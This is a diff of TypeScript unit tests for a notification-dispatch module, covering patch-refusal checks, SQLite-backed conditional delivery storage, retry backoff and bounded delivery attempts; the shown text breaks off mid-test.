+function scope(): ThreadScope {
+  return {
+    threadId: 'acme_t1',
+    actor: { id: 'operator', role: 'operator' },
+    principal: { kind: 'human', id: 'operator', role: 'operator' },
+    requestedBy: 'operator',
+    init: { pubsub: undefined },
+  } as unknown as ThreadScope;
+}
+
+function post(path: string, body: unknown): Request {
+  return new Request(`http://thread${path}`, {
+    method: 'POST',
+    headers: { 'content-type': 'application/json' },
+    body: JSON.stringify(body),
+  });
+}
+
+/** The route catch surfaces its refusal through `console.error`. */
+async function withCapturedErrors(
+  run: () => Promise<Response | null | undefined>,
+): Promise<{ response: Response | null | undefined; logged: string[] }> {
+  const logged: string[] = [];
+  const consoleError = console.error;
+  let response: Response | null | undefined;
+  try {
+    console.error = (...args: unknown[]) => {
+      logged.push(args.map(String).join(' '));
+    };
+    response = await run();
+  } finally {
+    console.error = consoleError;
+  }
+  return { response, logged };
+}
+
+/** The message an emitted refusal carries, for a byte-exact pin. */
+async function refusalMessage(refuse: () => unknown): Promise<string> {
+  try {
+    await refuse();
+  } catch (error) {
+    return String((error as Error).message);
+  }
+  throw new Error('the probe under test did not refuse');
+}
+
+describe('notification dispatch against an unpatched @mastra/core', () => {
+  it('refuses tick construction, naming the patch', () => {
+    expect(() => createNotificationDispatchTick(tickOptions())).toThrow(
+      TypeError,
+    );
+    expect(() => createNotificationDispatchTick(tickOptions())).toThrow(
+      PATCH_MESSAGE,
+    );
+  });
+
+  it('builds a zero-limit tick, which does no notification work', async () => {
+    const tick = createNotificationDispatchTick(tickOptions({ limit: 0 }));
+
+    await expect(tick()).resolves.toEqual({
+      due: 0,
+      delivered: 0,
+      failed: 0,
+    });
+  });
+
+  it('refuses a dispatch request without reading a notification', async () => {
+    const storage = {
+      getNotification: vi.fn(async () => null),
+      updateNotificationDeliveryIfUnchanged: vi.fn(async () => ({
+        outcome: 'unchanged',
+      })),
+    };
+    // Construction stays available: the refusal belongs to notification
+    // dispatch, not to the whole /signal surface.
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () => ({ id: 'agent' }) as unknown as Agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () =>
+        storage as unknown as NotificationsStorage,
+    });
+
+    const { response, logged } = await withCapturedErrors(() =>
+      routes(
+        post('/signal/notifications/dispatch', {
+          notificationIds: ['n1'],
+          resourceId: 'acme_res',
+          agentId: 'agent',
+          now: '2026-07-20T12:00:00.000Z',
+        }),
+        scope(),
+      ),
+    );
+
+    // Status and body match the conditional-storage capability refusal, which
+    // takes the same route catch; the logged message is what tells them apart.
+    expect(response?.status).toBe(502);
+    expect(await response?.json()).toEqual({ error: 'internal error' });
+    expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true);
+    expect(storage.getNotification).not.toHaveBeenCalled();
+  });
+
+  it("refuses an ingestion request without reaching core's sender", async () => {
+    const sendNotificationSignal = vi.fn();
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () =>
+        ({ id: 'agent', sendNotificationSignal }) as unknown as Agent,
+      resolveResourceId: () => 'acme_res',
+    });
+
+    const { response, logged } = await withCapturedErrors(() =>
+      routes(
+        post('/signal/notification', {
+          source: 'constructor',
+          kind: 'changed',
+          summary: 's',
+        }),
+        scope(),
+      ),
+    );
+
+    // The agent stub carries the method: an absent one throws its own TypeError
+    // into the same catch, for the same status and body, so the uncalled spy is
+    // what tells the patch refusal from a stub-shape fault.
+    expect(response?.status).toBe(502);
+    expect(await response?.json()).toEqual({ error: 'internal error' });
+    expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true);
+    expect(sendNotificationSignal).not.toHaveBeenCalled();
+  });
+
+  it('refuses the delivery policy probe, naming the patch', async () => {
+    await expect(assertNotificationDeliveryPolicyPatched()).rejects.toThrow(
+      PATCH_MESSAGE,
+    );
+  });
+
+  it('emits each refusal composed from the shared citation, byte for byte', async () => {
+    expect(await refusalMessage(assertNotificationSourceKeysPatched)).toBe(
+      'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")',
+    );
+    expect(await refusalMessage(assertNotificationDeliveryPolicyPatched)).toBe(
+      'notification ingestion requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")',
+    );
+  });
+});
+
+describe('notification ingestion against a core patched for summaries alone', () => {
+  it("refuses without reaching core's sender", async () => {
+    const sendNotificationSignal = vi.fn();
+    mockNotifications({ patchedAccumulator: true });
+    try {
+      // Both probes memoize per module instance, and the instance the cases
+      // above hold has recorded the summary half as unpatched, so this case
+      // reads the delivery half through a module graph of its own.
+      const { assertNotificationSourceKeysPatched } = await import(
+        './notification-dispatch.js'
+      );
+      const { createThreadSignalRoutes } = await import(
+        './thread-do-routes.js'
+      );
+      expect(() => assertNotificationSourceKeysPatched()).not.toThrow();
+
+      const routes = createThreadSignalRoutes({
+        resolveAgent: () =>
+          ({ id: 'agent', sendNotificationSignal }) as unknown as Agent,
+        resolveResourceId: () => 'acme_res',
+      });
+      const { response, logged } = await withCapturedErrors(() =>
+        routes(
+          post('/signal/notification', {
+            source: 'constructor',
+            kind: 'changed',
+            summary: 's',
+          }),
+          scope(),
+        ),
+      );
+
+      // The summary half passing is what leaves the source delivery policy
+      // lookup as the only subject this refusal can belong to.
+      expect(response?.status).toBe(502);
+      expect(await response?.json()).toEqual({ error: 'internal error' });
+      expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true);
+      expect(sendNotificationSignal).not.toHaveBeenCalled();
+    } finally {
+      mockNotifications({ patchedAccumulator: false });
+    }
+  });
+});
diff --git a/packages/flowsafe/src/signals/notification-dispatch.test.ts b/packages/flowsafe/src/signals/notification-dispatch.test.ts
index 65cce0ab..71d78c4d 100644
--- a/packages/flowsafe/src/signals/notification-dispatch.test.ts
+++ b/packages/flowsafe/src/signals/notification-dispatch.test.ts
@@ -1,6 +1,10 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { InMemoryNotificationsStorage } from '@mastra/core/notifications';
+import {
+  type CreateNotificationInput,
+  InMemoryNotificationsStorage,
+  type NotificationRecord,
+} from '@mastra/core/notifications';
 import { describe, expect, it, vi } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
@@ -11,18 +15,62 @@ import {
   ExecutionFenceStore,
 } from '../do-runner/index.js';
 import type { ThreadTopology } from '../host-kit/index.js';
+import type { SignalDatabase } from './d1-shared.js';
 import {
+  captureNotificationDeliveryObservation,
+  captureNotificationDeliverySelection,
+  captureNotificationDeliveryStorage,
   createNotificationDispatchTick as createNotificationDispatchTickImpl,
+  DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+  type NotificationDeliveryStorage,
+  type NotificationDeliveryUpdateResult,
   type NotificationDispatchTickOptions,
+  recordNotificationDeliveryFailure,
 } from './notification-dispatch.js';
 
+import { D1NotificationsStorage } from './notifications-d1.js';
+
 const NOW = new Date('2026-07-20T12:00:00.000Z');
 
-/**
- * The tick under test with the fence defaulted to the honest wiring for these
- * cases: the notifications storage is in-memory, so there is no database to
- * fence. The fence cases at the bottom of this file pass a real store.
- */
+function notificationStorage(): D1NotificationsStorage {
+  return new D1NotificationsStorage(
+    sqliteUnitDatabase(openSqlite()) as SignalDatabase,
+  );
+}
+
+function pending(
+  storage: NotificationDeliveryStorage,
+  overrides: Partial<CreateNotificationInput> = {},
+): Promise<NotificationRecord> {
+  return storage.createNotification({
+    id: 'pending',
+    threadId: 'acme_thread',
+    resourceId: 'acme_resource',
+    agentId: 'agent',
+    source: 'test',
+    kind: 'ready',
+    summary: 'ready',
+    deliverAt: new Date(NOW.getTime() - 1),
+    ...overrides,
+  });
+}
+
+function failure(
+  storage: NotificationDeliveryStorage,
+  record: NotificationRecord,
+  maxDeliveryAttempts = DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+  now = NOW,
+) {
+  return recordNotificationDeliveryFailure(
+    captureNotificationDeliveryStorage(storage),
+    captureNotificationDeliveryObservation(record),
+    now,
+    maxDeliveryAttempts,
+    { type: 'failure', error: new Error('target refused') },
+  );
+}
+
+/** SQLite fixtures without an execution fence use the explicit no-fence wiring. */
 function createNotificationDispatchTick(
   options: Omit<NotificationDispatchTickOptions, 'executionFence'> &
     Partial<Pick<NotificationDispatchTickOptions, 'executionFence'>>,
@@ -54,7 +102,7 @@ function actorContext(groupId = 'deployment'): ActorContext {
 
 describe('createNotificationDispatchTick', () => {
   it('rejects malformed rows before addressing a thread DO', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     const valid = await storage.createNotification({
       id: 'valid',
       threadId: 'acme_thread',
@@ -111,7 +159,7 @@ describe('createNotificationDispatchTick', () => {
 
   it('surfaces terminal content-policy discards separately from failures', async () => {
     // #given — two thread groups, one whose DO discarded both of its rows
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (const groupId of ['acme', 'globex']) {
       await storage.createNotification({
         id: groupId,
@@ -149,7 +197,7 @@ describe('createNotificationDispatchTick', () => {
 
   it('omits the discard counter when no route discarded anything', async () => {
     // #given — the pre-existing wire shape, which callers assert exactly
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     await storage.createNotification({
       id: 'acme',
       threadId: 'acme_thread',
@@ -176,7 +224,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('isolates a failed thread group from its neighbors', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (const groupId of ['acme', 'globex']) {
       await storage.createNotification({
         id: groupId,
@@ -206,7 +254,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('backs off a blocked row so a bounded scan reaches later notifications', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     const blocked = await storage.createNotification({
       id: 'blocked',
       threadId: 'acme_thread',
@@ -268,7 +316,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('groups the same thread/resource separately by persisted agent id', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (const agentId of ['agent-a', 'agent-b']) {
       await storage.createNotification({
         id: agentId,
@@ -316,7 +364,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('fails a due row with no agent id before addressing a thread DO', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     const record = await storage.createNotification({
       id: 'no-agent',
       threadId: 'acme_thread',
@@ -348,7 +396,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('plans the full group before packing so urgent rows cross the 100-id boundary', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (let index = 0; index < 100; index += 1) {
       await storage.createNotification({
         id: `low-${index}`,
@@ -400,7 +448,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('keeps a route-sized summary intact while packing higher-priority individuals first', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     const summaryIds: string[] = [];
     const createSummary = async (index: number) => {
       const id = `summary-${index}`;
@@ -462,7 +510,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('fragments an oversized summary into consecutive summary-only requests', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (let index = 0; index < 205; index += 1) {
       await storage.createNotification({
         id: `summary-${index}`,
@@ -504,7 +552,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('carries one echoed thread-state snapshot within a group and resets it for the next group', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (const groupId of ['acme', 'globex']) {
       for (let index = 0; index < 101; index += 1) {
         await storage.createNotification({
@@ -562,7 +610,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('chunks 205 records into route-valid batches of 100, 100, and 5', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (let index = 0; index < 205; index += 1) {
       await storage.createNotification({
         id: `n-${index}`,
@@ -601,7 +649,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('isolates a failed middle chunk and continues with later chunks', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     for (let index = 0; index < 205; index += 1) {
       await storage.createNotification({
         id: `n-${index}`,
@@ -650,7 +698,7 @@ describe('createNotificationDispatchTick', () => {
   });
 
   it('rejects invalid limits synchronously and treats zero as an intentional no-op', async () => {
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStorage();
     const send = vi.fn();
     for (const limit of [
       -1,
@@ -696,8 +744,8 @@ describe('createNotificationDispatchTick and the deployment execution fence', ()
     return fence;
   }
 
-  async function dueRow(): Promise<InMemoryNotificationsStorage> {
-    const storage = new InMemoryNotificationsStorage();
+  async function dueRow(): Promise<D1NotificationsStorage> {
+    const storage = notificationStorage();
     await storage.createNotification({
       id: 'due-1',
       threadId: 'acme_thread',
@@ -766,3 +814,913 @@ describe('createNotificationDispatchTick and the deployment execution fence', ()
     expect(await tick()).toEqual({ due: 1, delivered: 1, failed: 0 });
   });
 });
+
+describe('notification delivery observations', () => {
+  it('detaches dates and JSON while preserving storage normalization', async () => {
+    const record = await pending(notificationStorage());
+    record.deliveryAttempts = undefined;
+    record.coalescedCount = undefined;
+    record.payload = { values: [Number.NaN, undefined], absent: undefined };
+    record.attributes = { present: true, missing: undefined };
+    record.metadata = { nested: { name: 'before' } };
+    const { record: detached, expected } =
+      captureNotificationDeliverySelection(record);
+    record.deliverAt?.setTime(0);
+    (record.metadata.nested as { name: string }).name = 'after';
+    detached.createdAt.setTime(0);
+    expect(expected.deliveryAttempts).toBe(0);
+    expect(expected.coalescedCount).toBe(1);
+    expect(expected.payload).toBe('{"values":[null,null]}');
+    expect(expected.attributes).toBe('{"present":true}');
+    expect(detached.metadata).toEqual({ nested: { name: 'before' } });
+    expect(expected.deliverAt).toBe(new Date(NOW.getTime() - 1).toISOString());
+    expect(expected.createdAt).not.toBe(new Date(0).toISOString());
+    expect(Object.isFrozen(expected)).toBe(true);
+  });
+
+  it.each([
+    null,
+    -1,
+    0.5,
+    Number.NaN,
+    Number.POSITIVE_INFINITY,
+    Number.MAX_SAFE_INTEGER + 1,
+    '1',
+  ])('rejects a malformed public counter %s', async (deliveryAttempts) => {
+    const record = await pending(notificationStorage());
+    Object.assign(record, { deliveryAttempts });
+    expect(() => captureNotificationDeliveryObservation(record)).toThrow();
+  });
+
+  it.each([
+    { payload: () => undefined },
+    { payload: 1n },
+    { createdAt: new Date(Number.NaN) },
+    { summaryAt: new Date(Number.NaN) },
+    { status: 'unknown' },
+    { priority: 'unknown' },
+    { resourceId: 1 },
+    { coalescedCount: Number.POSITIVE_INFINITY },
+  ])('rejects an unreadable observation %s', async (patch) => {
+    const record = await pending(notificationStorage());
+    Object.assign(record, patch);
+    expect(() => captureNotificationDeliverySelection(record)).toThrow();
+  });
+});
+
+describe('conditional notification failure bookkeeping', () => {
+  it('keeps the exact backoff and a future individual cursor', async () => {
+    const storage = notificationStorage();
+    let now = new Date(NOW);
+    const future = new Date('2030-01-01T00:00:00Z');
+    let record = await pending(storage, {
+      summaryAt: new Date(0),
+      deliverAt: future,
+    });
+    for (const delay of [1, 2, 4, 8, 16, 32, 64, 128, 256, 256, 256]) {
+      expect(await failure(storage, record, 20, now)).toBe('deferred');
+      const next = await storage.getNotification(record);
+      expect(next?.summaryAt).toEqual(new Date(now.getTime() + delay * 1000));
+      expect(next?.deliverAt).toEqual(future);
+      expect(next?.lastDeliveryAttemptAt).toEqual(now);
+      expect(next?.lastDeliveryError).toBe('target refused');
+      if (!next?.summaryAt)
+        throw new Error('retry did not retain summary cursor');
+      record = next;
+      now = next.summaryAt;
+    }
+  });
+
+  it('preserves wall-clock status time with an injected dispatch clock', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const before = Date.now();
+    expect(await failure(storage, record, 1)).toBe('discarded');
+    const after = Date.now();
+    const current = await storage.getNotification(record);
+    expect(current?.lastDeliveryAttemptAt).toEqual(NOW);
+    expect(current?.discardedAt).toEqual(current?.updatedAt);
+    expect(current?.updatedAt.getTime()).toBeGreaterThanOrEqual(before);
+    expect(current?.updatedAt.getTime()).toBeLessThanOrEqual(after);
+    expect(current?.deliveryAttempts).toBe(1);
+    expect(current?.deliveryReason).toBe('delivery-attempts-exhausted');
+    expect(current?.deliverAt).toBeUndefined();
+    expect(current?.summaryAt).toBeUndefined();
+  });
+
+  it.each([
+    'retry',
+    'discard',
+    'exhausted',
+  ] as const)('recovers the exact committed %s receipt after response loss without replay', async (mode) => {
+    const storage = notificationStorage();
+    let record = await pending(storage, { summaryAt: new Date(0) });
+    if (mode === 'exhausted') {
+      record = await storage.updateNotification({
+        ...record,
+        deliveryAttempts: 10,
+        lastDeliveryError: 'first refusal',
+        lastDeliveryAttemptAt: new Date(1000),
+      });
+    }
+    const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage);
+    const lost = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockImplementation(async (input) => {
+        await write(input);
+        throw new Error('response lost');
+      });
+    const read = vi.spyOn(storage, 'getNotification');
+    expect(
+      await recordNotificationDeliveryFailure(
+        captureNotificationDeliveryStorage(storage),
+        captureNotificationDeliveryObservation(record),
+        NOW,
+        mode === 'discard' ? 1 : 10,
+        mode === 'exhausted'
+          ? { type: 'exhausted' }
+          : { type: 'failure', error: 'target refused' },
+      ),
+    ).toBe(mode === 'retry' ? 'deferred' : 'discarded');
+    expect(lost).toHaveBeenCalledTimes(1);
+    expect(read).toHaveBeenCalledTimes(1);
+    const current = await storage.getNotification(record);
+    expect(current?.deliveryAttempts).toBe(mode === 'exhausted' ? 10 : 1);
+    expect(current?.lastDeliveryError).toBe(
+      mode === 'exhausted' ? 'first refusal' : 'target refused',
+    );
+  });
+
+  it('leaves a before-commit failure uncertain and never claims a discard', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const write = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockRejectedValue(new Error('before commit'));
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(await failure(storage, record, 1)).toBe('uncertain');
+      expect(await storage.getNotification(record)).toEqual(record);
+      expect(write).toHaveBeenCalledTimes(1);
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    null,
+    [],
+    {},
+    { applied: 1 },
+    { applied: true },
+    { applied: false, record: {} },
+    { applied: false, extra: true },
+    { applied: true, record: {} },
+  ])('does not trust a malformed custom result %j', async (result) => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const write = vi
+      .spyOn(storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockResolvedValue(result as NotificationDeliveryUpdateResult);
+    const read = vi.spyOn(storage, 'getNotification');
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(await failure(storage, record, 1)).toBe('uncertain');
+      expect(write).toHaveBeenCalledTimes(1);
+      expect(read).toHaveBeenCalledTimes(1);
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    'content',
+    'signal',
+    'reason',
+    'count',
+    'time',
+    'missing',
+    'unreadable',
+  ] as const)('does not attribute a changed %s readback after committed response loss', async (change) => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const write = storage.updateNotificationDeliveryIfUnchanged.bind(storage);
+    vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    ).mockImplementation(async (input) => {
+      await write(input);
+      throw new Error('response lost');
+    });
+    const read = storage.getNotification.bind(storage);
+    vi.spyOn(storage, 'getNotification').mockImplementation(async (input) => {
+      if (change === 'missing') return null;
+      if (change === 'unreadable') throw new Error('read unavailable');
+      const current = await read(input);
+      if (!current) throw new Error('missing fixture');
+      const patches = {
+        content: { summary: 'replacement' },
+        signal: { summarySignalId: 'other-summary' },
+        reason: { deliveryReason: 'content-policy-denied' },
+        count: { deliveryAttempts: 2 },
+        time: { discardedAt: new Date(0) },
+      };
+      return { ...current, ...patches[change] };
+    });
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(await failure(storage, record, 1)).toBe('uncertain');
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('validates encoded JSON without treating overflow as normalized null', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const expected = {
+      ...captureNotificationDeliveryObservation(record),
+      payload: '{"overflow":1e400}',
+    };
+    const write = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged');
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(
+        await recordNotificationDeliveryFailure(
+          captureNotificationDeliveryStorage(storage),
+          expected,
+          NOW,
+          10,
+          { type: 'failure', error: 'refused' },
+        ),
+      ).toBe('uncertain');
+      expect(write).not.toHaveBeenCalled();
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('rejects an exhausted action below the bound without writing', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const write = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged');
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      expect(
+        await recordNotificationDeliveryFailure(
+          captureNotificationDeliveryStorage(storage),
+          captureNotificationDeliveryObservation(record),
+          NOW,
+          10,
+          { type: 'exhausted' },
+        ),
+      ).toBe('uncertain');
+      expect(write).not.toHaveBeenCalled();
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('does not read back a conditional mismatch or rewrite a successful receipt', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const delivered = await storage.updateNotification({
+      ...record,
+      status: 'delivered',
+      deliveredSignalId: 'delivered',
+    });
+    const read = vi.spyOn(storage, 'getNotification');
+    expect(await failure(storage, record, 1)).toBe('unchanged');
+    expect(read).not.toHaveBeenCalled();
+    expect(await storage.getNotification(record)).toEqual(delivered);
+  });
+});
+
+describe('bounded notification dispatch tick', () => {
+  it.each([
+    0,
+    -1,
+    0.5,
+    Number.NaN,
+    Number.POSITIVE_INFINITY,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('rejects invalid attempt bounds %s synchronously before dependencies', (maxDeliveryAttempts) => {
+    const options = {
+      maxDeliveryAttempts,
+      get storage() {
+        throw new Error('dependency accessed');
+      },
+    } as unknown as NotificationDispatchTickOptions;
+    expect(() => createNotificationDispatchTickImpl(options)).toThrow(
+      RangeError,
+    );
+  });
+
+  it('captures the delivery capability before the zero-limit no-op, leaving the other dependencies unread', async () => {
+    const storage = notificationStorage();
+    let storageReads = 0;
+    const options = {
+      limit: 0,
+      get storage() {
+        storageReads += 1;
+        return storage;
+      },
+      get topology() {
+        throw new Error('topology accessed');
+      },
+      get resolveContext() {
+        throw new Error('context accessed');
+      },
+      get now() {
+        throw new Error('clock accessed');
+      },
+      get executionFence() {
+        throw new Error('fence accessed');
+      },
+    } as unknown as NotificationDispatchTickOptions;
+    const list = vi.spyOn(storage, 'listDueNotifications');
+
+    const tick = createNotificationDispatchTickImpl(options);
+    expect(storageReads).toBe(1);
+
+    expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 });
+    expect(storageReads).toBe(1);
+    expect(list).not.toHaveBeenCalled();
+  });
+
+  it('refuses a zero-limit tick on storage without conditional delivery', () => {
+    const storage = new InMemoryNotificationsStorage();
+    const read = vi.spyOn(storage, 'listDueNotifications');
+    const build = () =>
+      createNotificationDispatchTick({
+        storage: storage as unknown as NotificationDeliveryStorage,
+        topology: { send: vi.fn() } as unknown as ThreadTopology,
+        resolveContext: actorContext,
+        limit: 0,
+      });
+
+    expect(build).toThrow(TypeError);
+    expect(build).toThrow(
+      'notification dispatch requires conditional delivery storage',
+    );
+    expect(read).not.toHaveBeenCalled();
+  });
+
+  it('resolves the zero-limit no-op with the captured capability unused', async () => {
+    const storage = notificationStorage();
+    const list = vi.spyOn(storage, 'listDueNotifications');
+    const get = vi.spyOn(storage, 'getNotification');
+    const update = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged');
+    const send = vi.fn();
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      limit: 0,
+    });
+
+    expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 });
+    expect(list).not.toHaveBeenCalled();
+    expect(get).not.toHaveBeenCalled();
+    expect(update).not.toHaveBeenCalled();
+    expect(send).not.toHaveBeenCalled();
+  });
+
+  it('refuses ordinary Core storage before reading or sending', () => {
+    const storage = new InMemoryNotificationsStorage();
+    const read = vi.spyOn(storage, 'listDueNotifications');
+    const send = vi.fn();
+    expect(() =>
+      createNotificationDispatchTick({
+        storage: storage as unknown as NotificationDeliveryStorage,
+        topology: { send } as unknown as ThreadTopology,
+        resolveContext: actorContext,
+      }),
+    ).toThrow(TypeError);
+    expect(read).not.toHaveBeenCalled();
+    expect(send).not.toHaveBeenCalled();
+  });
+
+  it('uses the approved default to retire a refused oldest row and advance the due window', async () => {
+    const storage = notificationStorage();
+    const poison = await pending(storage, {
+      id: 'poison',
+      deliverAt: new Date(0),
+    });
+    const next = await pending(storage, {
+      id: 'next',
+      deliverAt: new Date('2030-01-01T00:00:00Z'),
+    });
+    let now = new Date(NOW);
+    const send = vi.fn(async () => new Response(null, { status: 404 }));
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => now,
+      limit: 1,
+    });
+    expect(DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS).toBe(10);
+    for (let attempt = 1; attempt <= 10; attempt += 1) {
+      expect(await tick()).toEqual(
+        attempt === 10
+          ? { due: 1, delivered: 0, failed: 0, discarded: 1 }
+          : { due: 1, delivered: 0, failed: 1 },
+      );
+      const current = await storage.getNotification(poison);
+      expect(current?.deliveryAttempts).toBe(attempt);
+      if (current?.deliverAt) now = current.deliverAt;
+    }
+    const terminal = await storage.getNotification(poison);
+    expect(terminal).toMatchObject({
+      status: 'discarded',
+      deliveryAttempts: 10,
+      lastDeliveryError: 'thread notification dispatch returned 404',
+      deliveryReason: 'delivery-attempts-exhausted',
+    });
+    expect(terminal?.deliverAt).toBeUndefined();
+    expect(terminal?.summaryAt).toBeUndefined();
+    expect(
+      (await storage.listNotifications({ threadId: poison.threadId })).find(
+        (record) => record.id === poison.id,
+      ),
+    ).toEqual(terminal);
+    now = new Date('2030-01-01T00:00:00Z');
+    expect(await storage.listDueNotifications({ now, limit: 1 })).toEqual([
+      next,
+    ]);
+    expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+    expect(send).toHaveBeenCalledTimes(11);
+  });
+
+  it.each([
+    { deliveryAttempts: 10, resourceId: 'acme_resource' },
+    { deliveryAttempts: 10, resourceId: 'bad/resource' },
+    {
+      deliveryAttempts: Number.MAX_SAFE_INTEGER,
+      resourceId: 'acme_resource',
+    },
+    {
+      deliveryAttempts: Number.MAX_SAFE_INTEGER,
+      resourceId: 'bad/resource',
+    },
+  ])('discards pre-exhausted count $deliveryAttempts for $resourceId without another target call', async ({
+    deliveryAttempts,
+    resourceId,
+  }) => {
+    const storage = notificationStorage();
+    const record = await pending(storage, {
+      resourceId,
+      summaryAt: new Date(0),
+    });
+    const before = await storage.updateNotification({
+      ...record,
+      deliveryAttempts,
+      lastDeliveryError: 'original',
+      lastDeliveryAttemptAt: new Date(1000),
+      summarySignalId: 'prior-summary',
+    });
+    const send = vi.fn();
+    const context = vi.fn(actorContext);
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: context,
+      now: () => NOW,
+    });
+    expect(await tick()).toEqual({
+      due: 1,
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    const current = await storage.getNotification(record);
+    expect(current).toMatchObject({
+      deliveryAttempts,
+      lastDeliveryError: before.lastDeliveryError,
+      lastDeliveryAttemptAt: before.lastDeliveryAttemptAt,
+      summarySignalId: 'prior-summary',
+      status: 'discarded',
+    });
+    expect(send).not.toHaveBeenCalled();
+    expect(context).not.toHaveBeenCalled();
+    expect(current?.deliverAt).toBeUndefined();
+    expect(current?.summaryAt).toBeUndefined();
+  });
+
+  it.each([
+    403,
+    404,
+    'transport',
+  ] as const)('bounds repeated %s refusal', async (refusal) => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    let now = new Date(NOW);
+    const send = vi.fn(async () => {
+      if (refusal === 'transport') throw new Error('transport unavailable');
+      return new Response(null, { status: refusal });
+    });
+    const tick = createNotificationDispatchTick({
+      storage,
+      topology: { send } as unknown as ThreadTopology,
+      resolveContext: actorContext,
+      now: () => now,
+      maxDeliveryAttempts: 2,
+    });
+    expect(await tick()).toEqual({ due: 1, delivered: 0, failed: 1 });
+    const deferred = await storage.getNotification(record);
+    if (!deferred?.deliverAt) throw new Error('missing retry');
+    now = deferred.deliverAt;
+    expect(await tick()).toEqual({
+      due: 1,
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    expect((await storage.getNotification(record))?.deliveryAttempts).toBe(2);
+  });
+
+  it('captures the bound, dependencies, writer, and attempt time before waits', async () => {
+    const storage = notificationStorage();
+    const record = await pending(storage);
+    const now = new Date(NOW);
+    let listed!: () => void;
+    let release!: () => void;
+    const waiting = new Promise<void>((resolve) => {
+      listed = resolve;
+    });
+    const barrier = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const list = storage.listDueNotifications.bind(storage);
+    vi.spyOn(storage, 'listDueNotifications').mockImplementation(
+      async (input) => {
+        const records = await list(input);
+        input.now.setTime(0);
+        listed();
+        await barrier;
+        return records;
+      },
+    );
+    const send = vi.fn(async () => {
+      throw new Error('captured target');
